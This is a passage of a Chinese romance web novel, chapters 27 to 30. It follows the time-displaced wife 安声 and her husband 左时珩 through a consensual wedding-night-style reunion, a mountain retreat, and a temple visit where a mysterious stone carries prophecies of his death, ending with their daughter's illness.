尚未等左时珩回应,她的勇气便全用完了,“啊”了一串,转身逃去床角,鸵鸟般地将脑袋蒙入毯子下—— 作者有话说:根,紧握在地下,叶,相触在云里,每一阵风过,我们都相互致意……足下的土地——《致橡树》 第27章 欢愉 左时珩起初怔了好一会儿,以为自己听错了,但妻子的表现又让他明白,自己并未会错意。 方才她放肆的触摸已让他有所反应,加上那句话…… 只是安声说完这话便又害怕似的逃离了他,在床一角,用毯子蒙住了脑袋。 他并未直接靠近,而是调侃道:“请问,我的床上,是爬上了一只小乌龟吗?” 毯子动了动:“……是。” 一只缩头乌龟。 “哦——听闻山涧清溪中多有灵龟,果然如此,不过灵龟化人却是第一次见。” 毯子又动了动。 左时珩莞尔:“想来是见人害怕,那我就先离开了。” “左时珩不要走!”安声从毯子下伸出一只手抓住他衣角,“我不是害怕。” 左时珩本就没打算走,见状笑应了声,自然握住她手,再轻轻一带,她连人带毯子就一起到了跟前。 “阿声。”他将毯子掀开,露出一张绯红明媚的脸。 安声一望见他温柔眉眼,便栽到他怀里去,不敢看他,且心跳飞快,胡言乱语。 “我不是安声,我是安息,因为说了很羞耻的话,所以要死一死,过会儿再复活,阿门。” 左时珩被她逗笑,他的妻子总是语出惊人,与她在一起,时刻都有趣。 他揽着她,用宽而温热的手掌摩挲着她的后背:“阿声……是不想吗?” 安声在他怀里撒娇似的拱了拱,想要同他坦白。 左时珩忽按住她,低声:“别动。” 他嗓音沉沉而富有磁性,还多了些忍耐与克制。 安声立即僵住,她再次清晰感觉到了左时珩身体的异样。 她一袭轻薄里衣,柔若无物,紧贴着他炽热躯体,而他也不过穿了件棉质中衣,紧绷的腹肌微微抽动了几下,更难以忽视的则似乎是另一份滚烫。 左时珩从上落下的气息也变得急促起来,他喉结滚动了下,摩挲安声后背的手移到她后脑摸了摸,声略艰涩:“好了,到一旁躺下睡吧,我去洗个澡。” 安声依然没动,感受着他对自己难以掩饰的欲望,片刻,她抬头正视他。 “左时珩,我想。” 自那次书房有些失控后,他们之后每次亲密,譬如拥抱接吻等,无不心照不宣地避开敏感处,左时珩每次节奏掌握得很好,再沉迷也总留一分清醒,不会乱碰乱摸,避免让她再次陷入紧张无措的境地。 只是面对安声,他实在做不了圣人,不得不在她沉入梦乡后,去净室自行解决。 从前他们很是亲密和谐,彼此欢愉、享受,如今妻子回到身边,不存那五年记忆后,她只是个女孩儿,更胆小,更羞怯,需要他更细心守护。 他只能等,等她愿意。 安声攀着他肩坐起来,毯子早被抛掷一旁,她的紧张来自于对性行为的毫无经验,而并非是对左时珩的抗拒。 被他炙热气息圈在怀里,她便有汗沁出来,将纱衣黏住,不太舒服。 “我,我应该怎么做?”她伸手摸摸他脸,又摸摸他胸膛,“我现在开始脱衣服吗?” 左时珩轻笑了声,一贯温柔的眸子变得幽深,那平静湖面上似有风暴逐渐聚集。 他握住她手,低头吻了吻她手心,而后先脱去自己的上衣。 山中月光如练,徘徊于窗前,放肆地照进屋内。 清晖下,左时珩那挺拔上身毫无保留地展露在安声眼前,先露出的是线条分明的锁骨,因消瘦而愈加突出,仿佛远山轮廓。宽阔平直的肩,与同样宽阔的胸膛,在失去衣物遮挡后线条更加明晰硬朗,那劲瘦腰身间,则是薄而匀称的肌理,如同山峦起伏。 他抬手将安声揽住,安抚似的在她额头吻了吻,随后手指轻轻滑过其面庞,落在圆润的香肩之上。 安声因知道他要做什么,几乎忘了呼吸,任由他缓缓解去胸前的系带,那轻薄的纱衣便如同一段月光般落了下去,露出更加莹白细腻的肩颈臂膀。 左时珩动作很缓慢温柔,似乎只要她有一瞬的不愿,他便会当即停下。 褪去安声的罩衣后,他抚上她的纤细脊背,让她完全倚在自己怀中,才去解她的贴身小衣。 被薄汗沾湿的衣裳携走了些许热量,那一瞬的凉意侵袭,令安声不由自主地颤了颤。 左时珩收紧臂膀,将她圈揽在怀,用体温熨帖着她,低头吻她的肩。 “怕么?” 安声环住他腰,深吸口气:“不怕。” 左时珩抱起她,将她放倒在床,欺身上去,不着言语,又俯身去吻她,细密的吻失了控般,似雨点落下。 安声搂住他脖子,闭着眼努力去回应他,感受酥酥麻麻的触感上下游移,禁不住浑身战栗,忍不住细细娇吟。 直到那只手滑过腰肢,褪去自己的小裤……安声呜咽出声,攀紧他的肩背,全身上下如同淬了火,血液都在烧灼。 他无论何时何事,对她都温柔始终,并不为个人欲望单向索取,也为她感受。 他步步为营,对她的身体了如指掌,如探无人之境,知晓彼此交换时如何让她放松及愉悦。 安声起初是羞耻且紧张的,但想象中的粗暴对待并未到来,而是和风细雨般,因此不再害怕,反倒享受起来,她在此过程中,也不知如何回应他,只有些身体上青涩笨拙的本能反应,几乎完全跟着他的引导走,在体温交融时蒸腾的热浪里,逐渐忘了所有。 忘了何年何月身处何处,忘了来客寺那块陨石预言,只记得她与左时珩彼此相拥,亲密无间时,那一份骤然降临的巨大幸福。 …… 安声醒时已是日上三竿了,残凉被热意驱散,屋内也热起来。 她一动便感到腰有些酸,忽然一顿,昨夜风流乐事涨潮般地淹没了脑海。 似有脚步声临近,安声慌忙拽过毯子遮住脸,随即感到床沿下压,某人在她额头上轻轻点了点。 “一夜过去,怎么又变成小乌龟了?” 安声拉下一点点毯子,露出双眼,一下便望见天光下左时珩英俊的脸与平日温和的笑意。 她眨了眨眼,问:“左时珩,昨晚我们做了夫妻吗?” 左时珩笑道:“我们本来就是夫妻。” “不一样。”她小声说。 她伸出双手,被他自然而然抱坐在怀里,在她发上一吻,问她:“累吗?” “不累,就是腰有点酸。” 左时珩替她按揉了几下:“今日热得很,也不必出门了,待吃过饭,我再给你按一按。” 说罢,又贴着她歉声道:“怪我。” 他许久没有这般极致欢愉了,尽管想着要克制几分,仍免不了有些忘情,一再想要,却忘了顾及如今的妻子对此事尚无经验,应该要再细致些才好。 安声懒懒伏在他肩上,忍不住满足地扬起笑。 “我就说嘛……左时珩非常完美。” 院中有小厨房,庄内下人们一早送了活鱼虾蟹、鲜笋、蕨菜等来,俱是山里最新鲜的食材。 左时珩见安声睡得沉,便让下人们都撤了,自己下了厨做了菜,待弄好了,才来唤妻子起床。 于是安声一醒,便已闻到院中香味,出来一瞧,那院中石桌上摆着一道清蒸鲥鱼,一道虾炒茭白,还有一碗鲜笋菌汤,并两碗粳米饭,更是食欲大动。便也顾不得形象,毫不客气地坐过去大快朵颐起来。 与安声夫妻数载,左时珩最是知晓她的口味,一些细枝末节难以同下人们嘱咐到位,索性自己亲自来做,方不算浪费了这些上佳的食材。 此刻见她吃得这般高兴,他不禁微微一笑,唯一可惜的大约是那些特意为她烧制的碗盘并未带来。 午后,暑气蒸腾,屋里有些闷,安声便与左时珩搬了两张躺椅去后面竹林小憩。 左时珩无甚睡意,靠在躺椅上看书,安声则从自己的椅子上爬起来,趴到他身上。 他笑着揉她长发:“刚还说热呢。” 安声往上蛄蛹了下,挤在他身侧,将脑袋靠在他肩上。 “真是奇怪,现在不抱着你已经睡不着了。”她在他颈侧吸了吸,“好香,左时珩,你变成我的阿贝贝了。” 左时珩一手捧着书,一手在她腰间按揉,闻言道:“那可怎么办,将来我若去外地办差,阿声岂不是要失眠了。” “那我也跟你去。”安声说着,又道,“左时珩,把你看的书给我念一念。” “有些枯燥,你也要听吗?” “正是因枯燥才要听,催眠。” 左时珩笑了声:“好。” 于是不疾不徐地温声念着:“有人焉,视于无形,听于无声,以事其君……” 果然很枯燥,安声闭上眼,打了个呵欠,开始犯困。 不知睡了多久,她的睡意宛若被人斩断,骤然惊醒时,无半点惺忪,灵台一片清明。 天已经黑了,她侧躺在躺椅上,夜色清寒,悄无人声。 俄而风起,旋起一片片枯黄的竹叶,除去落叶之声,天地间连虫鸣鸟叫也尽皆消失。 左时珩也不在。 她立在原地,仰头望去,只有一轮残月照在竹林之上,漏下几片月光,勾勒出一块奇石的影子—— 作者有话说:ps:只是梦,没有奇幻元素 (之前忘记开段落锁了,以后不会锁整章,只会锁局部,不过还是请审核大人高抬贵手,已经是改都不知道改哪里的纯爱清水啦[求求你了]) 第28章 上山 那块奇石就立在那儿,月光之下,似乎只有它真实存在。 它是安声记忆中的样子,只是却大得多,辨不清细节,只有模糊的轮廓,仿若欲向天穹奔去的神祇。 安声向它靠近,一步踏出却跌入黑暗,四周无光无影,风止,亦不闻落叶之声。 她伸手向身前探去,指尖忽然触及那块奇石交织着无数深浅刻痕的表面,她用指腹仔细触摸着,停在一处浅坑,继而又沿着表面探寻。 什么也看不见,什么也听不见。 按道理,她无法从层层叠叠的刻痕中找到那句话,但她就是找到了,指尖碰到的一瞬,便似字幕在脑中滚动。 “安和九年,左时珩没等到我,我于安和十年见到他的一座坟茔。” 如一道惊雷劈落,安声猛然惊醒。 山中盛夏,静谧午后,竹林依旧苍绿,蝉鸣响彻不停。 左时珩不知何时也已浅眠,躺在长椅上,气息均匀绵长,搭在腰间的手仍执着未看完的书。 安声依偎在他怀里,从一个噩梦里醒来。 她懵怔了片刻,支起身子望着左时珩的睡颜,蓦地,眼泪大颗大颗地无声掉落。 左时珩似有所感,缓缓睁眼,忙蹙眉坐起:“阿声,怎么了?” 安声扑入他怀中,因梦中蔓延出的恐慌情绪而泪落不止。 左时珩抱着她,在她发间吻了吻,又轻拍她,柔声询道:“是做噩梦了吗?” 安声在他怀里哭了一会儿才缓过来,捧起他脸认真望他,一双杏眼仍泛着泪光。 “左时珩,你有哪里不舒服吗?如果有,一定要跟我说可以吗?我们回家后再请胡太医来看看好不好……或者……或者别的什么太医……” 说着又开始哽咽,眼更红了。 左时珩怔了怔,明白过来,心间柔软似水,无限怜惜。 他低头轻吻去妻子眼角的一滴泪:“是梦到我生病了,是吗?” 安声未答,只更紧得抱着他,不敢说那个“死”字。 “阿声。”左时珩下巴搁在她发顶轻轻蹭了蹭,摩挲着她的脸,“那只是梦,古人说,梦是相反的,所以不要怕。这几年我的确大病了几场,但你如今就在我身边,我一切都好了。” 他低笑:“有你的监督,十分苦的药我吃了,六分苦的药茶也喝了,还有一分难吃的药膳,唉,我的人生已经这么辛苦了,上天也该对我好一点了。” “嗯,应该对你很好很好。”安声弯起嘴角。 说话时声音里还带着浓浓的鼻音,听来软糯撩人。 左时珩托起她的脸,让她看向自己,见她眼睛红红,鼻头红红,脸也是红红的,不由爱极,连亲了好几下。 “是,若是对我不好,怎能让我遇见你,与你一起时,都有好好吃饭,好好休息,没什么不舒服的,若还不放心,待我们下山,便多请几位大夫来看,若是怕我隐瞒,你大可将他们挨个刑讯逼供一遍。” 安声忍不住笑出声:“太霸道了左大人,大夫听了连夜骑马跑。” “这就霸道了?还比不上你跟我说的那些故事里的皇帝王爷大官呢。”他眸底透着揶揄,模仿安声曾对他学过的夸张语气,“治,都给我治,要是治不好左时珩,就把你们统统拉出去砍了!” 安声彻底笑倒在他怀里。 心情好转起来,两人又歇在同一张椅上躺了会儿。 左时珩拾起那本掉在地上的书,问安声还要不要继续听他读,安声笑说,让他背一段睡前念,正好助她好梦。 左时珩便道:“只一段怎么够,难道不知你夫君有过目不忘的本事?待晚间把整本背给你听。” 安声捂住耳朵缩在他怀里,笑着说不要,那她的梦里会有一大堆和尚在念经的。 如此亲昵闹一闹,之前梦中阴霾便如残梦,几近散去。 炽阳逐渐偏西,暑气便退了下去,竹林中起了风,躺着有些凉了,于是将椅子又搬回了院中,两人在轩窗下闲坐对弈。 安声的围棋水平与她的书法差不多,有一点,但不多,跟左时珩对局,她要他让了九个子,结果那一碟的干果点心还未吃完便输了。 安声盯那棋盘盯了半天,几乎要把棋盘盯出个洞来才愿承认自己水平又降了一点。 左时珩笑问:“那是几岁?” 安声想到以前看过的少儿围棋比赛选手水平,叹气道:“最多只有四岁。” “要往上涨涨吗?” “不要,练字就已经够累了,哪能上两个兴趣班,再说了,我五子棋厉害啊。” “有理。”左时珩笑了声,将棋子一颗颗捡回盒中,问她,“四岁小孩晚上想吃什么?” …… 山中无事,岁月静好,尤其是两人无须下人随身伺候,倒真是如同二人世界一般。 林雪要与陈尚书去来客寺,来约安声他们,安声想了想,答应了,拉上左时珩一道。林雪也没带什么下人,只有个贴身丫鬟伺候,便一行五人出了山庄,沿着山路蜿蜒而上。 同行时,林雪自然与安声相携一旁嘀嘀咕咕说悄悄话,让两个男人大眼瞪小眼。 陈尚书身为刑部尚书,多少有些赏善罚恶,刚正不阿的气质,还是冷面少言的直性子,平日里就不怎么与同僚来往相交,与工部在公务上也无直接利益相关,只是因为林雪与安声交好,故而与左时珩勉强半熟。 左时珩虽脾性温和,却也不爱结交廷臣,安声不在的五年中,他又多去外地,不在京中,与陈律也不过朝会时能碰上几面,的确算不得相熟。 不过彼此倒也在能力上互相欣赏,知晓对方为人,不是那等招权树党,尸位素餐之辈,前两日庭中对弈,就朝政交谈了看法,也都言之有物,各自受教。 见夫人走在一起,他们便也只好并肩随后了。 陈律先开了口:“左大人久病在身,如今精神矍铄,想来已经大好了?” 左时珩浅笑:“是,已经大好。” “看来果真是相思病。”陈尚书板起脸,一本正经劝道,“男子汉大丈夫,顶天立地好男儿,怎么能为这种事消瘦至此,误了性命。” 左时珩略一沉吟,忽问他:“青泸、郸北孤立于台夏州,难以守御,然不保青泸、郸北又难攻新丹,如今疆左形势严峻,今年已打了四场,陈大人如何看?” 陈律愣了一愣,便陈述起自己的看法来,滔滔不绝。 左时珩认真听着,时而附和,然这般不着痕迹地转移了话题后,分走了大半心神,皆在前方的安声身上。 她与好友说说笑笑,神色轻松,不知谈论什么,偶尔双颊绯红,频频回头看来,触到他的目光,却又像受惊的兔子般转回去。 “……记住了没?”林雪戳戳安声手背。 “小声点,不要在这里说。”安声恨不得捂住她嘴,耳根红得不行。 她瞥了其贴身侍女一眼,亦是一副红透了但眼观鼻鼻观心的状态。 “怕什么,路上又没人,而且他们听不到的,男人嘛,一旦讨论起什么正事来,都是两耳不闻窗外事了。” 虽如此说,她倒也放低了声音:“我跟你说,京中有一家叫做仙织阁的成衣铺子,他们家有个绣娘,特别会做小衣,我之前订了两件,贴身穿着极好,宛如无物,手感绝佳,做时可以不用脱,也不会扯坏,待回去后,我给你送来,你试试……” 安声挽着她手臂,几乎把头埋下去,她说的又实在详细,在她脑中生出画面,想到那夜欢愉,便不禁用余光偷偷去瞧左时珩,待他看来又飞速撤回。 而后声如蚊蚋:“嗯……给我试试……” 到了来客寺,人竟是很多,一问才知是附近有人家在这里做水陆,一般这样的事甚少会找来客寺僧人去做,毕竟到底不算什么大庙,但来客寺中有位老僧,据说参禅悟道,修为很高,他平日不在寺中,四处云游讲经,只一两年或三四年会回来客寺小住,因听说了他在,便有一户人家来请他主持诵经,办得简单,也不避行人。 安声他们俱是低调出门,并未提前通知,无论僧众亦或香客,亦不知其身份,于是他们便站在阶旁树下浓荫里看了会儿热闹。 只见和尚们摇动灵杵,打响鼓钹,诵经念忏,檀香一把一把地点了许多,烟雾缭绕,很是呛人。 于是他们便绕过了正殿,来到后方,立石殿再次出现在安声眼前,如一只巨兽在烈日下安静蛰伏。 几人走了两步,侧殿旁屋门打开,走出了个慈眉善目的老和尚,见到几人先是一愣,忽而将目光定在左时珩脸上,笑了一笑,朝他行礼。 “原来是左大人来此,许久未见,不知一切可好?” “一切都好,劳烦惠能师父惦记。” 左时珩还了礼,又简单说了各人身份来意,几人都与老僧相互应了礼。 惠能笑望了安声几眼,感叹道:“天不绝人呐,看来,左大人所念,终是有了回响。” 又聊了几句,因要忙着法事,便同众人告辞,向正殿去。 林雪道:“感觉这是位得道高僧,等他得空,请他给静月看看八字。” 陈律不悦:“尽研究这些没用的事。” 林雪回:“有用的事交给你做,你最有用了。” 陈律感觉这话不对,但又说不出哪里不对。 于是哼了声,自顾往立石殿去。 林雪跟上去,又站住,转头看安声他们。 安声让他们先去,转身牵了左时珩的手,将他拉到一旁,问得直接:“左时珩,你既来过立石殿,是否在那块奇石上见过我的字迹?” 左时珩垂眸望她,眸中情绪不明。 片刻,他轻点头。 第29章 琴瑟 安声的心提了起来。 他却坦诚道:“但我并不能看懂。” 他低垂的眸中转圜着难以言喻的复杂情绪,安声从其中看懂了无力与哀伤。 “阿声用另一种语言在石上刻字,大抵是特意不愿让我知道。” “我不能强求她。” 他们夫妻已是坦诚至极,安声连来自另一个世界的事都未瞒他,偏偏这件事始终不向他透露分毫,定是有什么难言之隐,是深思熟虑后的考量。尊重亦是爱侣间的相处之道,他若苦苦逼问,却在得知真相后无法相帮,只会为她更添难处。 因此,他只能以自己的方式去寻求答案,但他始终没有得到一个答案,好在他果真于安和九年等到了归来的安声,让他漂泊无依的魂魄又重回了躯体。 安声不知该说什么,握住他的手喊了声:“左时珩……” 他柔声问:“你如今可愿同我说了?” “我不能说……” 左时珩低不可闻地叹了口气,抬手摸了摸她头发:“无妨,那就等你能说时再说,不必有任何压力。” 因在寺庙,他未过分亲密,只浅浅揽了下她的肩以示安抚。 安声怀揣心事,难以轻松起来,愈接近立石殿愈甚,左时珩便也无视清规礼法,紧牵了她手与她并行。 林雪夫妻不知又逛到了哪里,立石殿此刻无人。 安声想到那梦中谶言,手心微微出汗,心也乱跳,靠近奇石转了一圈,并未找到才勉强松了半口气,但心头阴云却始终无法散去。 她转头见左时珩立在奇石背后,视线落在某处,便也看去,不禁浑身一僵——果然是那句话。 “第十一次,又是安和九年,左时珩死,重来。” 左时珩感觉到她的紧绷,反正殿中无人也无神佛,便将她扯入怀中,笑道:“这句我也并非全部看不明白。” 他指着“安和”与“左时珩”的大写字母:“这是年号和我的名字。” 安声的注意力便被吸引过来,惊诧问他:“你怎么知道?” 他并未立即回答,反倒似忆起什么有趣的事,唇畔扬起浅笑。 “岁岁与阿序幼时,阿声教他们学拼音,不知怎么把自己气到睡不着,半夜爬起来与我说想喝奶茶。” “……我竟然半夜喝奶茶,也太没节制了,你阻止我了吗?” “嗯,怕你明日懊悔,所以阻止了,不过也不愿拂你的意,便又煮了蜂蜜桂花茶。” 安声放下心,才捕捉到重点:“所以我教岁岁与阿序拼音时你也学会了吗?” 左时珩摩挲着她的手背调侃:“是不想再看某人半夜睡不着连我一起折腾,只好让你先将我教会了,我再去教他们。” 安声忍不住笑,不过她还以为岁岁与阿序这么乖巧聪明,很让人省心呢,没想到教起作业来依然“鸡飞狗跳”。 虽直面了这句谶言,左时珩亦能看出与自己有关,但他还是没有趁机诱导安声说出原意,只见她情绪不高,便也能猜到大约是不太好,想将她带离此地。 安声摇了摇头,说还想再看一看。 左时珩思忖片刻,颔首,便也陪着她。 安声摸着石头表面,一一抚过上次留下的浅坑与之前找到的,因时间不长,又因如今来立石殿刻字的人也几乎没有了,所以她新留下的那个坑还很清晰。 字在石上,不会消失…… 安声心中浮着这句话,绕到了奇石的另一侧,不知为何眼前俱是一黑,仿佛踩空跌入深渊,她心脏猛然一抽,那句梦里的谶言便闪电般从眼前掠过,待她定神,一切又恢复如常。 然手指下正触碰的地方,那层层交叠乱七八糟的刻痕间,仔细辨认去,赫然便是那句梦中石言,同样用英文刻写。 安声指尖火燎般收回,瞪大了双眼去看那句英文,它的的确确出现在石上,并非幻觉。 在句子的末尾,还有两个“8”的符号,其中一个是倒下的,更像数学符号无限,她情不自禁地思索起来。 “安和九年,左时珩没等到我,我于安和十年见到他的一座坟茔。” 难道是另一个时空下,她是安和十年才出现在丘朝的?所以,左时珩没能在安和九年等到她,于是…… 但,另一个时空的留言,为何会被她看见? 安声落入迷惘。 左时珩原是立在原地等她,见安声绕去了奇石另一侧,久不见动静,便转过去找,却见另一侧空空荡荡,没有人影,一时浑身气血都被冰冻住般,胸腔里的心脏也已停跳。 “阿声!”他立刻向殿中张望,急切呼唤。 午时光线明亮,跃入殿中却为经幡所挡,模糊而朦胧,如罩轻纱,如烟似雾。 远处隐隐有诵经之声听不真切,眼前光下青烟一缕,袅袅而上,仿佛点燃了他的魂魄,将要一同随风散去。 “左时珩?” 安声的声音在他身侧响起,他骤然转身,将妻子紧拥入怀。 “怎么了?”安声吓一跳,她只是沉立于石前良久,忽然抬头见左时珩目光怔忡,似有异样,才喊了他一声,不料他竟反应这样大。 她忙将他抱住,拍了拍:“左时珩,你是不是不舒服?” 他似力有不逮,一下将她圈进怀里时,两人皆踉跄了几步,安声与他说了好几句话,才感觉到左时珩急促的呼吸稍稍平复。 “无事……”他贴着她耳畔蹭了蹭,嗓音有些许低哑。 然后松开妻子,牵了她手,带她从后门出了立石殿。 外面烈阳高照,另一殿前广场被日光灼烧着,空气中滚滚热浪。 可左时珩的手是凉的,还有些微微发颤,安声担心不已,索性拉着他在殿后廊角坐下休息。 “让我看看,不会是中暑了吧?” 安声捧起他脸仔细端详,实在是脸色苍白,额间冒了冷汗,便忙拿帕子给他擦拭,又去摸摸他脸,探探额头。 左时珩任由她弄着,这般真实触碰下,他才觉血液解冻,重新从心脏迸发开来,四肢也慢慢回暖,有了知觉。 “难受吗?想吐吗?有没有觉得呼吸……” 安声话还未说完,便再次被他拥进怀抱。 他将头深埋在安声颈侧,声音很轻:“……不要紧,不是因为这些。” 安声听着他无序的心跳,柔声说:“我们回山庄吧,这里也没什么好看的。” “好。” 与寺中僧人说了下,让他们代为告知林雪他们,安声便与左时珩先行下山了,回到山庄小院里,安声感觉左时珩明显放松了许多。 虽不太像是中暑,但她仍不放心,让左时珩饮了几杯温盐水,又吃了点东西,见他手心恢复暖意才安心下来。 午后,两人换了衣裳,卧在窗下榻上。 院中绿意盎然,浓荫遍地,时有一阵山风敲窗而入,携来阵阵清爽凉意,十分惬意舒适。 左时珩大约倦了,揽着她歇在榻上睡着。 他将她抱得紧,安声不过在他怀里转个身,便惊得他在梦中蹙眉。 安声伸手去抚他眉间,又亲了亲他,有些心疼。 她深知左时珩不是个容易失态之人,方才在立石殿内,他一定是遇见了什么事,且与她相关的事,才会有这般反应。 不过她亦不想催问,她觉得他一定会告诉她,于是此刻便只是躺在他身侧陪他睡了一觉。 左时珩醒来时,时辰还早,他第一眼便去瞧怀中熟睡的妻子,见安声散发卧在他臂弯里,他微微一笑,又躺了下去,整个人彻底放松了下来。 立石殿中……想来是一场幻觉。 不过忆起时,仍不由将勾着安声腰肢的小臂往里收拢了些,将她全部圈揽入怀。 左时珩有时自省,觉得己身并非君子,否则便不会对妻子产生如此多不可言说的贪欲,恨不得日日夜夜将她禁在身侧,寸步不离。 安声在他怀里幽幽醒转,下意识挣扎了下:“好热啊。” 左时珩低笑两声,松开了些。 安声睁开眼,惺忪地望了他一会儿,忽然抱住他亲了口。 “左时珩,你好了吗?” “什么?” “心情。” “嗯,好了。” 他低下头细细吻她,柔若春风,令她享受。 直至这场吻结束,彼此还都意犹未尽。 左时珩将她抱坐在怀中,耐心将立石殿里所见所闻告诉了她,安声听罢十分吃惊。 她说她一直站在原地没动,也没听见左时珩喊她,只见他发怔地望向殿外,才察觉异常。 按理说,左时珩绕过来时就能见到她,且他望向殿外方向时,她亦在其余光之中。 两人讨论了番,皆百思不得其解,只好归结于“奇石之奇”。 安声心底倒另有些猜测,不过无法成形,也无法向他坦言。 但她深感左时珩爱她如此至深,不过一眼不见,便慌的失了魂魄。平日左时珩的爱是一场润物细无声的春雨,她滋养其中,不觉泛滥,却原来早已是一片汪洋。 她亦爱他很多,但若有机会回到现代,她仍想回去,不是要抛弃他,而是想要回去同父母亲友道个别,说她已有了此生归宿。 暮色四合,左时珩替她挽了发,待庄内下人又送来许多食材果饮时,他们一起去厨房做了晚饭。 没多久,林雪差人来给她送了个锦盒,她打开一看,又“啪”地关上,脸庞漫上红晕。 “咳……替我谢谢你们家夫人。” 夜幕悄悄降临,安声做贼似的拿了锦盒中的内衣去了净室,待沐浴后穿上,竟果真如林雪所说,轻若无物,仿佛没穿似的,分明表面绣了些飘渺云纹,手摸上去却又轻薄软滑,直触肌肤,且因贴身,还将她曼妙曲线勾勒得万分诱人…… 她惊艳之余也很是叹服,古人嘛,只是生产力与技术水平跟不上,脑子却是一样的好用,有需求就会有天才解决需求。 她好像听林雪说,那绣娘是自己养蚕缫丝,独家手艺,密不外传,一件小衣得要二两金子。 在浴房磨蹭半天,安声到底不好意思直接走出去,还是披了件半臂,进屋钻进了床上。 待左时珩沐浴后进来,她才做好的心理准备又不足起来,哪怕他们亲也亲过,做也做过,但她面对他时,仍会羞怯。 他在床边坐下,身上还带着未散的潮意与香味,步步侵袭着安声的心防。 安声靠着床里侧,裹紧了毯子,实则里头那件半臂外衣早已脱了,只余那件古代版的性感内衣。 左时珩上了床来,看她一眼,不禁轻笑:“小蘑菇,还是小乌龟?” “都不是。”安声认真,“是荔枝。” “荔枝?” “真的是荔枝。” “那……需要帮忙剥壳吗?” 他扬起笑,伸手将她揽到身前。 安声仰起头,耳根泛红,眼睛亮晶晶的,充满期待:“左时珩,你……你剥吧。” 左时珩真的时常被妻子可爱到,笑应:“好。” 室内烛光未熄,他拿开毯子丢去里侧,看清安声时,不禁气息滞了片刻。 虽猜到她一定有些名堂,却未料到是这般“名堂”,不由自主从下而上灼热起来。 烛光与月光交织,安声外露的长腿一片莹白,比月还皎洁,脸颊酡红而浑身肌肤欺霜赛雪,活脱脱一颗新鲜多汁的荔枝。她还特意凹了凹,纤细臂膀曲起,掐在蛮腰处,胸脯微微挺起,侧身,从臀攀沿而上至后腰,脊背,宛如山峦起伏,妖娆至极。 “怎么样?喜欢吗?” 她羞赧,却也藏不住得意。 还未听到左时珩的回答,整个人便完全落入其掌控之中,宽大手掌抚触在衣上,安声的汗毛通了电一般根根立了起来,小腹处也有些发紧。 左时珩的手在她纤细后颈缓缓摩挲,低沉嗓音响在耳畔,隐在失控边缘。 “喜欢……想来是一颗鲜嫩可口的荔枝,真是让人垂涎。” 语罢,低头亲她脖子至锁骨。 他将安声带入怀中,翻身,一手托于她后腰,一手揽着她脑袋,密不透风的吻几乎让她无处可逃。 不知何时业已脱衣解带,不着一物,两人玉体厮挨,如胶似漆,盘桓到深夜。 左时珩抱安声去净室擦洗了身子,才又回到卧房,倦极睡去。 过了两日,林雪来与她说,实在放心不下家中幼子,陈尚书也惦记公务,要先回去,安声表示理解,但打算再晚个一两日。 林雪与她闲聊一番,果不其然又拐去小衣问题上,笑问她感受如何,鉴于左时珩喜欢,安声不得不红着脸承认说很好。 林雪便拿胳膊肘捣她:“我就说嘛,现在信了吧?我们家陈律师那么不解风情的人都喜欢,何况你们家左大人呢。” 又说待她回城,再约她一起去那仙织阁逛逛,保不齐还有更多她心悦之物。 安声口嫌体正直地应下。 他们一走,山庄更显清静。 与左时珩在天外山这两日,他们都没再往来客寺去,天外山风景秀丽,晨有云雾,日出极美,他们特意早起一道去看了,还转道披星峰,采了闻名的山泉来烹茶,惬意至极,已然忘忧。 不过朝廷政事倒也不能耽误太久,两日后,他们还是收拾下了山,回到府邸。 幸也回得巧,才到家那日,夜间便风云突变,电闪雷鸣,下了一场瓢泼大雨,将院子里的花都打落了。 翌日中午,永国公府派人匆匆上门递信,说岁岁不小心生了病,今早发起了烧,安声担心不已,赶紧带了穆诗前去。 第30章 谢家 永国公府及不上成国公府,荣华有些没落了,但到底还有一大家子,往上一辈没什么有出息的子弟,都是捐的官或分了个闲差。 到了如今这辈,更是阴盛阳衰,女孩多,男孩少,偏偏上天将灵秀又都分去了女儿身上,那几位少爷公子一个比一个纨绔草莽,完全指望不上,唯有一个十一岁的嫡孙谢毓华,尚有几分科考之望,目前正在松下书院读书,与左序是同窗。 掌府上中馈的乃是谢毓华的母亲田夫人,出身姚州田家,祖父做过知府,也算书香门第,不过她乃是继室,上面有个元配周夫人,是老夫人族中侄女,生下一个女儿后病逝,女儿如今已经嫁人。 永国公府真正的话事人其实是周老夫人,她一生育有五子三女,儿子养大三个,一个两岁夭折,一个十岁意外溺水而亡,其他三个儿子如今都在身边,俱已成家。 其中两个女儿是双生胎,嫁去外地,几年难得见一回,另有一个女儿在宜州,不算远,逢年过节能来拜会。 因丧子之痛,对那三个儿子老夫人可谓是千般呵护,不料长大后一个个因溺爱过度而无甚出息,成家后,他们妾室偏房生养的几个儿子也皆不中用,倒是家里的女儿们,个个聪明懂事,舞文弄墨,吟诗作对胜过男儿。 周老夫人自省自己教导失责,失望之下,索性懒得去管儿孙仕途,只请了西席来府上教习姑娘们,寄望着她们将来得嫁良人,不但自身受益,亦能托举谢家。 因将重心放在对姑娘们的教导上,公府千金皆是腹有诗书,蕙质兰心,京中子弟争相求取,反而成了京中风尚,一时贵眷们以女儿在谢公府受过教导为荣,还能为亲事添筹加码,争相谋求门路将女儿送去受习。 周老夫人倒也大气,专门腾出个园子,让先生与姑娘们住,不许男子入内,这便是青叶园。 知道岁岁在谢公府念书时,安声便向左时珩了解过这个京中大户,虽不及成国公府繁盛,倒也底蕴深厚,且老夫人喜欢岁岁,她在公府时,老夫人会留她在自己院子同吃同住,待她很是亲厚,便也放心。 她料想此次生病大约是天气突变之故。 到了谢公府,早有人等着,引了她进了后堂正房,那是周老夫人居所,还算幽静,岁岁睡在东侧耳房里,大夫才来看过,开了药,小厨房已熬上了,人还烧着,未醒。 安声心急,顾不得先去拜会老夫人,赶去屋里看了眼岁岁,见她睡着,才又退出来去见老夫人。 老夫人年过花甲,发已白了大半,眉眼生的凌厉,神态却很慈祥,拉着她手与她先说了岁岁的病况,说是岁岁昨夜不慎淋了雨,又夸耀起岁岁如何聪明乖巧,让她喜欢,紧接着自责是自己照顾之失。 安声只好连忙安慰,人吃五谷杂粮,难保不生病的,尤其是孩子,与大人比本就更娇弱些。 如此聊了一番,有丫头来说药已熬好了,安声便起身告辞回了岁岁那里。 岁岁烧得迷迷糊糊的,听见娘亲声音勉强睁开眼,一见到安声就掉了眼泪,紧紧抱着她不撒手。 安声心疼得很,柔声哄了许久。 岁岁实在乖得很,那药虽苦,她却是全部喝完了,只是向娘亲要了蜜饯来吃,然后依然紧抱着她,窝在她怀里。 老夫人过来看她,她已在安声怀里睡着了。 